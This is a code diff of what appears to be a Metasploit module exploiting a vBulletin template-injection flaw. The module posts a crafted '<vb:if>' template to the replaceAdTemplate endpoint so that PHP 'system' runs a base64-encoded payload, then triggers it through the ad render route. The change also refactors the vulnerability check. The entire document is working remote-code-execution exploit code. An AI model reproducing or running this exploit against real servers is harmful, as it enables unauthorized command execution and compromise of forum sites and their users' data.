@@ -70,57 +70,50 @@ def initialize(info = {})
7070 end
7171
7272 def check
73- body , marker = inject_and_trigger ( :check )
74- return CheckCode ::Unknown unless body
75- return CheckCode ::Vulnerable if body . include? ( marker )
76-
77- CheckCode ::Safe
73+ inject_and_trigger ( :check ) ? CheckCode ::Appears : CheckCode ::Safe
7874 end
7975
8076 def exploit
8177 inject_and_trigger ( :exploit , payload : payload . encoded )
8278 end
8379
8480 def inject_and_trigger ( mode , payload : nil )
85- location = Rex ::Text . rand_text_alpha ( 3 , 8 )
86- parameter = Rex :: Text . rand_text_alpha ( 3 , 8 )
81+ marker , location , param = Array . new ( 3 ) { Rex ::Text . rand_text_alpha ( 5 , 8 ) }
82+ pattern = /string \( #{ marker . length } \) " #{ marker } "/
8783
8884 if mode == :check
89- marker = Rex ::Text . rand_text_alpha ( 5 , 8 )
9085 condition = %{"var_dump"("#{ marker } ")}
9186 trigger_value = Rex ::Text . encode_base64 ( marker )
9287 else
93- # Sadly we can't use `eval()` here as it's a language construct and we need a proper function.
94- condition = %{"system"("base64_decode"(\$ _POST["#{ parameter } "]))}
95- trigger_value = Rex ::Text . encode_base64 ( payload )
88+ encoded_payload = Rex ::Text . encode_base64 ( payload )
89+ condition = %{"system"("base64_decode"("#{ encoded_payload } "))}
9690 end
9791
9892 template = "<vb:if condition='#{ condition } '></vb:if>"
9993
100- inject = send_request_cgi (
94+ inj = send_request_cgi! (
10195 'method' => 'POST' ,
10296 'uri' => normalize_uri ( target_uri . path ) ,
10397 'vars_post' => {
10498 'routestring' => 'ajax/api/ad/replaceAdTemplate' ,
105- 'styleid' => '1' , # Can't randomize this value
99+ 'styleid' => '1' ,
106100 'location' => location ,
107101 'template' => template
108102 }
109103 )
110- return nil unless inject &.code == 200
104+ return nil unless inj &.code == 200
105+ return true if mode == :check && inj . body . match? ( pattern )
106+
107+ render_vars = { 'routestring' => "ajax/render/ad_#{ location } " }
108+ render_vars [ param ] = trigger_value if mode == :check
111109
112- trigger = send_request_cgi (
110+ render = send_request_cgi! (
113111 'method' => 'POST' ,
114112 'uri' => normalize_uri ( target_uri . path ) ,
115- 'vars_post' => {
116- 'routestring' => "ajax/render/ad_#{ location } " ,
117- parameter => trigger_value
118- }
113+ 'vars_post' => render_vars
119114 )
120- return nil unless trigger &.code == 200
121-
122- return [ trigger . body , marker ] if mode == :check
115+ return nil unless render &.code == 200
123116
124- trigger . body
117+ mode == :check ? render . body . match? ( pattern ) : true
125118 end
126119end
0 commit comments